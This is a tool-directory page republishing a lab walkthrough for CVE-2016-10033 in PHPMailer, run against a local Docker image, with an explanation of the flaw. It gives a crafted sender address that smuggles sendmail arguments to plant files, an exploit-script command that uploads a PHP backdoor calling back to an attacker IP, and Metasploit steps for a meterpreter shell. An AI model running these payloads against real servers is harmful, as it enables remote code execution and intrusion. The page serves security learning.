Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2016-10033 — Preuve de concept pour le CVE-2016-10033 (PHPMailer) | Kitploit
Outils/GitHubGitHub/astrowmist/poc-cve-2016-10033
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Preuve de concept pour le CVE-2016-10033 (PHPMailer)

Voir le dépôt
2il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC-CVE-2016-10033

Commençons par mettre en place l'application vulnérable.

Step 1: Run the following command to retrieve the vulnerable Docker Image from the Docker repository.

Command: docker pull vulnerables/cve-2016-10033

alt text

Step 2: Running the Docker image in Docker Desktop, exposing port 8080.

alt text

You can now access the vulnerable website at localhost:8080 in the web browser.

alt text

Method 1 : via la page web

Step 1: Fill in the form with the following inputs:

Saisie du nom : OSEC (peut être n'importe quelle chaîne, cela n'affecte pas l'exploit)
Email d'expéditeur trafiqué : "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

Le fonctionnement de cet email d'expéditeur trafiqué est expliqué en détail dans la section description du vecteur d'attaque. Concernant les paramètres spécifiques, le deuxième paramètre -oQ/tmp spécifie le répertoire de la file d'attente et le troisième paramètre, -X/www/pwn.html spécifie l'emplacement du fichier journal à écrire. Si le répertoire de la file d'attente n'est pas spécifié, le processus sendmail tentera d'accéder au répertoire de file d'attente par défaut (/var/spool/mqueue-client/) qui serait protégé pour empêcher tout accès non autorisé et toute falsification, ce qui est une mesure de sécurité courante. Pour éviter ce problème de permission, vous devez spécifier un répertoire de file d'attente où l'utilisateur exécutant le script PHP a les droits d'écriture. Généralement, un répertoire comme /tmp est utilisé car il est généralement accessible en écriture par tous les utilisateurs. Si le corps de l'email contient du code PHP, et si le fichier journal spécifié est placé dans un répertoire accessible via le web, l'attaquant peut exécuter le code PHP en accédant au fichier journal via un navigateur web, entraînant ainsi une exécution de code à distance.

Saisie du message : Ceci est simplement un exemple de fichier HTML qu'un attaquant pourrait télécharger. Bien sûr, l'attaquant pourrait télécharger quelque chose de bien pire comme une porte dérobée, ce que nous ferons dans la prochaine méthode d'exploitation.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Step 2: After submitting the form browse to the html file that we just uploaded at http://localhost:8080/pwn.html

alt text

Method 2: via la ligne de commande (script d'exploitation)

Prérequis : Ce script est compatible uniquement avec Python 2 (il ne fonctionne pas avec Python 3).

Step 1: Download the exploit script at https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Step 2: Exécutez ensuite le script avec les arguments suivants :

Commande : python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> spécifie l'URL cible
-cf -> spécifie l'emplacement du formulaire de contact dans l'URL spécifiée dans -url. (Dans notre cas, c'est exactement le même que -url donc nous avons simplement inclus une barre oblique)
-ip -> spécifie l'adresse IP de l'attaquant pour que la porte dérobée se reconnecte
-d -> spécifie le répertoire relatif pour télécharger le fichier PHP de la porte dérobée
--post-action -> l'attribut name du champ caché
--post-msg -> l'attribut name du champ de saisie du message

alt text Remarque : La raison pour laquelle nous devons spécifier --post-action à "submit" et --post-msg à "message" est que dans l'application vulnérable que nous utilisons, l'attribut name est différent des valeurs par défaut utilisées dans le script d'exploitation Python.

Les attributs name dans l'application vulnérable :

alt text

Les attributs name par défaut spécifiés dans le script : alt text

Step 3: Cependant, après avoir exécuté la commande, nous avons obtenu une erreur comme ci-dessous

alt text
Dans l'image ci-dessus, vous pouvez voir que le programme tente d'accéder à http://127.0.0.1:8080//www/phpbackdoor9284.php ce qui est évidemment incorrect à cause du //www. Cela ne fonctionnera pas car dans ce site web vulnérable, /www est la racine du site, donc vous ne pouvez pas accéder à http://127.0.0.1:8080/www puisque http://127.0.0.1:8080 est déjà à /www.

De plus, dans l'image ci-dessous, nous pouvons voir que l'exploit a effectivement fonctionné car le fichier phpbackdoor9284.php a été créé avec succès dans le répertoire. Par conséquent, le seul problème était de savoir comment supprimer ce //www de l'URL.
alt text

Après un examen plus approfondi du script Python, nous avons réussi à localiser la variable BACKDOOR_URL qui spécifie l'URL du fichier PHP de la porte dérobée. Dans la variable, nous pouvons voir que le répertoire cible que nous avons spécifié (args.TARGET_UP_DIR) est concaténé avec la variable BACKDOOR_FILE. Pour résoudre le problème, nous devons supprimer cela et la barre oblique supplémentaire.

Avant :
alt text

Après :
alt text

**Notez que le script dans ce dépôt est déjà modifié et prêt à être utilisé

Step 4: Exécutez maintenant à nouveau la commande précédente, et cette fois la porte dérobée devrait avoir été téléchargée avec succès dans le répertoire racine du site web et devrait s'être reconnectée à mon Kali.

alt text

Method 3: Metasploit

Step 1: Tapez msfconsole dans le terminal Kali pour ouvrir Metasploit. Recherchez ensuite les modules Metasploit pour CVE-2016-10033. Puis choisissez le module en sélectionnant l'index qui lui est associé. Dans la capture d'écran ci-dessous, nous avons choisi 1 qui cible PHPMailer < 5.2.18.

Commandes :
msfconsole
search CVE-2016-10033
use 1
alt text

Step 2: Définissez les options requises pour le module d'exploitation telles que l'adresse IP de la cible, le port, l'URL cible et la racine web.

Commandes :
set RHOSTS 192.168.79.1 (spécifie l'adresse IP de la cible)
set RPORT 8080 (spécifie le port de la cible)
set TARGETURI /(spécifie l'URL du formulaire web)
set WEB_ROOT /www (spécifie l'emplacement de la racine du site web)

alt text

Step 3: Tapez "exploit" pour exécuter l'exploit. Si tout se passe bien, vous devriez obtenir un shell meterpreter de la machine cible comme ci-dessous.

Commande : exploit

alt text

Nous sommes arrivés à la fin du POC.

Explication de l'exploit

La classe PHPMailer utilise la fonction PHP mail() comme transport par défaut. Le transport est implémenté à l'aide de la fonction mailSend() : alt text

Si vous regardez la ligne 12,
alt text

l'adresse de l'expéditeur est concaténée avec -f conformément à la documentation PHP de la fonction mail() pour indiquer au binaire sendmail que la chaîne après l'argument -f est l'adresse e-mail de l'expéditeur. alt text

À la dernière ligne de la fonction mailSend(),
alt text

tous les arguments requis par la fonction PHP mail() sont passés, y compris le 5ème paramètre $params qui permet de passer des paramètres supplémentaires au binaire sendmail.

L'image ci-dessous montre les paramètres que la fonction mail() prend, qui correspondent aux paramètres que la fonction mailSend() transmet.
alt text

Comme vu ci-dessus, nous savons que la chaîne $params est construite à partir de la variable Sender. Cette chaîne Sender est normalement définie à l'aide de la méthode setFrom() qui valide l'adresse de l'expéditeur que l'utilisateur saisit dans le formulaire web.

alt text

En raison de la validation de la fonction validateAddress(), PHPMailer rejetterait par exemple un email comme,
attacker -InjectedParam2 @attacker.com
ce qui empêcherait l'injection de paramètres supplémentaires à Sendmail via la fonction mail().

Après des recherches plus approfondies de la part du découvreur du CVE, il a réalisé que la validation est en fait effectuée selon la spécification RFC 3696.

Le RFC permet aux e-mails de contenir des espaces lorsqu'ils sont entre guillemets ". Ainsi, l'adresse e-mail suivante serait acceptée par la méthode setFrom() :
"Attacker -Param2 -Param3"@test.com
Elle serait ensuite transmise à la fonction mailSend() puis à la fonction PHP mail() qui exécuterait /usr/bin/sendmail, le binaire MTA (Mail Transfer Agent), avec la liste d'arguments suivante :

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (lire les destinataires depuis les en-têtes)
Arg no. 2 == [-i] (ignorer les points sur les lignes)
Arg no. 3 == [-f"Attacker -Param2 -Param3"@test.com]

En d'autres termes, comme ceci :
alt text

ce qui ne fonctionnerait pas pour l'attaquant car Param2 et Param3 sont passés dans le même argument numéro 3 qui spécifie l'adresse de l'expéditeur.

Cependant, les attaquants peuvent contourner cela par un échappement supplémentaire. En injectant une séquence supplémentaire de \" dans l'email de l'expéditeur après le premier argument,
"Attacker \" -Param2 -Param3"@test.com
et en le transmettant à PHPMailer puis finalement à la fonction mail(), cela exécuterait le binaire sendmail avec la liste d'arguments suivante :

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

En d'autres termes, comme ceci :
alt text

Ainsi, cette fois-ci, les attaquants pourraient injecter des paramètres supplémentaires, en l'occurrence les paramètres 4 et 5.

Crédits

Cette vulnérabilité a été découverte par Dawid Golunski.

L'image Docker a été créée par opsxcq - https://github.com/opsxcq

et enfin, mais non des moindres, mes charmants membres du groupe qui m'ont aidé avec le POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/

Télécharger l’outil